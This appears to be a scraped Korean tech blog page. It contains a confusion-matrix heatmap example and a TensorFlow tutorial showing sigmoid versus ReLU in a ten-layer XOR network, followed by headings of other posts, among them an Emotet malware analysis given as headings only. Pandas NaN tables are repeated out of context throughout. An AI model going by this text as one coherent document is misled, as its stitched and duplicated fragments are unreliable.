2) Imbalanced data

Model 1

arr6 = [[100,80,10,10],
       [0,9,0,1],
       [0,1,8,1],
       [0,1,0,9]]
df_cm6 = DataFrame(arr6, index = [i for i in "ABCD"],
                  columns = [i for i in "ABCD"])
plt.figure(figsize = (7,5))
sns.heatmap(df_cm6, annot=True)

<matplotlib.axes._subplots.AxesSubplot at 0x10ed8cbe0>

Model 2

arr7 = [[198,2,0,0],
       [7,1,0,2],
       [0,8,1,1],
       [2,3,4,1]]
df_cm7 = DataFrame(arr7, index = [i for i in "ABCD"],
                  columns = [i for i in "ABCD"])
plt.figure(figsize = (7,5))
sns.heatmap(df_cm7, annot=True)

<matplotlib.axes._subplots.AxesSubplot at 0x10ec685c0>

** 참고

github:https://github.com/minsuk-heo/python_tutorial/blob/master/data_science/confusion_matrix/confusion_matrix.ipynb

Lab10-1. ReLU: Better non-linearity

eunguru — Fri, 18 May 2018 18:05:19 +0900

Lab10_ReLU_Better_non_linearity

ReLU: Better non-linearity

1. XOR문제 - 9 hidden layers: poor result

1) 소스코드

1 input layer, output layer, 9 hidden layers

sigmoid 함수 사용

(...)
with tf.name_scope('Layer1') as scope:
    W1 = tf.Variable(tf.random_uniform([2, 5], -1.0, 1.0), name='weight1')
    b1 = tf.Variable(tf.zeros([5]), name='bias1')
    L1 = tf.sigmoid(tf.matmul(X, W1) + b1)
with tf.name_scope('Layer2') as scope:
    W2 = tf.Variable(tf.random_uniform([5, 5], -1.0, 1.0), name='weight2')
    b2 = tf.Variable(tf.zeros([5]), name='bias2')
    L2 = tf.sigmoid(tf.matmul(L1, W2) + b2)
with tf.name_scope('Layer3') as scope:
    W3 = tf.Variable(tf.random_uniform([5, 5], -1.0, 1.0), name='weight3')
    b3 = tf.Variable(tf.zeros([5]), name='bias3')
    L3 = tf.sigmoid(tf.matmul(L2, W3) + b3)
with tf.name_scope('Layer4') as scope:
    W4 = tf.Variable(tf.random_uniform([5, 5], -1.0, 1.0), name='weight4')
    b4 = tf.Variable(tf.zeros([5]), name='bias4')
    L4 = tf.sigmoid(tf.matmul(L3, W4) + b4)
with tf.name_scope('Layer5') as scope:
    W5 = tf.Variable(tf.random_uniform([5, 5], -1.0, 1.0), name='weight5')
    b5 = tf.Variable(tf.zeros([5]), name='bias5')
    L5 = tf.sigmoid(tf.matmul(L4, W5) + b5)
with tf.name_scope('Layer6') as scope:
    W6 = tf.Variable(tf.random_uniform([5, 5], -1.0, 1.0), name='weight6')
    b6 = tf.Variable(tf.zeros([5]), name='bias6')
    L6 = tf.sigmoid(tf.matmul(L5, W6) + b6)
with tf.name_scope('Layer7') as scope:
    W7 = tf.Variable(tf.random_uniform([5, 5], -1.0, 1.0), name='weight7')
    b7 = tf.Variable(tf.zeros([5]), name='bias7')
    L7 = tf.sigmoid(tf.matmul(L6, W7) + b7)
with tf.name_scope('Layer8') as scope:
    W8 = tf.Variable(tf.random_uniform([5, 5], -1.0, 1.0), name='weight8')
    b8 = tf.Variable(tf.zeros([5]), name='bias8')
    L8 = tf.sigmoid(tf.matmul(L7, W8) + b8)
with tf.name_scope('Layer9') as scope:
    W9 = tf.Variable(tf.random_uniform([5, 5], -1.0, 1.0), name='weight9')
    b9 = tf.Variable(tf.zeros([5]), name='bias9')
    L9 = tf.sigmoid(tf.matmul(L8, W9) + b9)
with tf.name_scope('Layer10') as scope:
    W10 = tf.Variable(tf.random_uniform([5, 5], -1.0, 1.0), name='weight10')
    b10 = tf.Variable(tf.zeros([5]), name='bias10')
    L10 = tf.sigmoid(tf.matmul(L9, W10) + b10)
with tf.name_scope('Hypothesis') as scope:
    W11 = tf.Variable(tf.random_uniform([5, 1], -1.0, 1.0), name='weight11')
    b11 = tf.Variable(tf.zeros([1]), name='bias11')
    hypothesis = tf.sigmoid(tf.matmul(L10, W11) + b11)
(...)

Graph

2) 결과

Cost가 떨어지지 않으며 Accuracy가 2개의 NN보다 나쁜 결과로 나옴

(...)
Step:  196000 	Cost:  0.6931472 [array([[ 0.15111303, -0.7233987 , -0.08999562,  0.4218123 , -0.38752127],
(...)
Step:  198000 	Cost:  0.6931472 [array([[ 0.15111303, -0.7233987 , -0.08999562,  0.4218123 , -0.38752127],
(...)

Hypothesis:  [[0.49999994]
 [0.49999994]
 [0.50000006]
 [0.50000006]] 
Correct:  [[0.]
 [0.]
 [1.]
 [1.]] 
Accuracy:  0.5

Cost / Accuracy graph

3) 문제 발생의 원인: backpropagation의 문제

Active function으로 sigmoid를 사용했기 때문에, backpropagation에서 vanishing gradient 문제 발생
- sigmoid의 결과는 0~1의 값, 입력값이 0보다 작은 경우 0에 가까운 값이 출력
- backpropagation에서는 gradient를 chain rule에 의해 계산하는데 만약 0에 가까운 값이 계속 곱해지는 경우
  미분값이 점점 작이지는 문제 발생
Vanishing gadient의 의미
- 경사도가 사라진다
- 학습하기 어렵다
- 입력이 출력에 미치는 영향도가 없다

2. 문제의 해결: ReLU activation function의 사용

1) ReLU 함수: max(0, x)

2) 소스코드

ReLU activation function 사용(단, 마지막은 0~1사이의 값을 출력해야하므로 sigmoid 함수를 사용해야 함)

(...)
with tf.name_scope('Layer1') as scope:
    W1 = tf.Variable(tf.random_uniform([2, 5], -1.0, 1.0), name='weight1')
    b1 = tf.Variable(tf.zeros([5]), name='bias1')
    L1 = tf.nn.relu(tf.matmul(X, W1) + b1)
(...)
with tf.name_scope('Layer10') as scope:
    W10 = tf.Variable(tf.random_uniform([5, 5], -1.0, 1.0), name='weight10')
    b10 = tf.Variable(tf.zeros([5]), name='bias10')
    L10 = tf.nn.relu(tf.matmul(L9, W10) + b10)
with tf.name_scope('Hypothesis') as scope:
    W11 = tf.Variable(tf.random_uniform([5, 1], -1.0, 1.0), name='weight11')
    b11 = tf.Variable(tf.zeros([1]), name='bias11')
    hypothesis = tf.sigmoid(tf.matmul(L10, W11) + b11)
(...)

Graph

3) 결과

Cost가 낮은 값으로 출력되며 Accuracy 또한 높음

(...)
Step:  196000 	Cost:  0.00051748654 [array([[-0.36031628, -0.7233987 , -0.08999562,  0.7240177 , -0.73926085],
(...)
Step:  198000 	Cost:  0.0005120867 [array([[-0.3604096 , -0.7233987 , -0.08999562,  0.7241369 , -0.73939353],
(...)
Hypothesis:  [[0.00101205]
 [0.9999987 ]
 [0.9999994 ]
 [0.00101205]] 
Correct:  [[0.]
 [1.]
 [1.]
 [0.]] 
Accuracy:  1.0

4) sigmoid와 ReLU 함수 사용 시 cost/accuracy graph 비교

3. Non-linear activation function

sigmoid
tanh
ReLU
Leaky ReLU
Maxout
ELU

	0	1	2	3	4
0	1.0	5.0	5.0	3.0	NaN
1	1.0	NaN	NaN	NaN	NaN
2	NaN	NaN	NaN	NaN	NaN
3	NaN	3.3	3.0	NaN	NaN

	0	1	2	3	4
0	1.0	5.0	5.0	3.0	NaN
1	1.0	5.0	5.0	3.0	NaN
2	1.0	5.0	5.0	3.0	NaN
3	1.0	3.3	3.0	3.0	NaN

	0	1	2	3	4
0	1.0	5.0	5.0	3.0	NaN
1	1.0	NaN	NaN	NaN	NaN
2	NaN	NaN	NaN	NaN	NaN
3	NaN	3.3	3.0	NaN	NaN

	0	1	2	3	4
0	1.0	5.0	5.0	3.0	NaN
1	1.0	5.0	5.0	3.0	NaN
2	1.0	5.0	5.0	3.0	NaN
3	1.0	3.3	3.0	3.0	NaN

오늘도 난, 하하하

Vuex

Vuex

vuex state

vuex mutations

vuex actions

vuex ...mapState, ...mapMutations, ...mapActions

vue.js props, slot, slot-props, custom event, mitt

정리

props, slot, slot-props

custom event

mitt

vue.js 데이터바인딩

데이터 바인딩

사용방법

추가: 속성 데이터 바인딩에서 변수 사용

Vue Lifecycle, Lifecycle Hooks

Lifecycle Diagram

Component Lifecycle

MAMP에서 MySQL 패스워드 변경

APM

OS별 APM

MAMP에서 MySQL 패스워드 변경하기

패스워드 수정 후 phpMyAdmin 접속 불가 문제 해결

Malware sample(Emotet) Analysis

Malware sample(Emotet) Analysis

1. 분석파일 & 분석환경

분석파일

분석환경

2. 파일 실행 분석

매크로 실행 전

매크로 실행 후

3. 분석

매크로 확인, 추출

Command Line 분석

Powershell Command 분석

4. MITRE ATT&CK 분석

MITRE ATT&CK 사이트 접속

Emotet 키워드로 검색 후 살펴보기

활용되는 기술들

AutoML 도구 Microsoft NNI

Microsoft NNi

NNI 기능 요약

NNI의 아키텍쳐

설치(테스트 당시 최신 버전 v1.4)

설치 검증

실행결과

참고문서

머신러닝 실험관리 도구 Sacred를 위한 웹 대시보드 Omniboard

Sacred + Omniboard

특징들

테스트

소스코드

실행하기

스크린샷

참고문서

Sacred - 머신러닝 실험관리 도구

Sacred

Sacred의 주요 메커니즘

Hello World

First Configuration

Experiment 실행

Caputure 함수

Experiment 관찰하기

My Commands

Capturing stdout/stderr

Metrics API

예제: Iris Classification 소스코드

참고사이트

TensorFlow Core Tutorial - 첫번째 신경망 훈련하기: 기초적인 분류 문제

첫번째 신경망 훈련하기: 기초적인 분류 문제

패션 MNIST 데이터셋 임포트하기

데이터 탐색

데이터 전처리

모델 구성

모델 훈련

정확도 평가

예측 만들기

TensorFlow Core Tutorials - 케라스를 사용한 분산 훈련

케라스를 사용한 분산 훈련

`Emotet` 키워드로 검색 후 살펴보기

	0	1	2	3	4
0	1.0	5.0	5.0	3.0	NaN
1	1.0	NaN	NaN	NaN	NaN
2	NaN	NaN	NaN	NaN	NaN
3	NaN	3.3	3.0	NaN	NaN

	0	1	2	3	4
0	1.0	5.0	5.0	3.0	NaN
1	1.0	5.0	5.0	3.0	NaN
2	1.0	5.0	5.0	3.0	NaN
3	1.0	3.3	3.0	3.0	NaN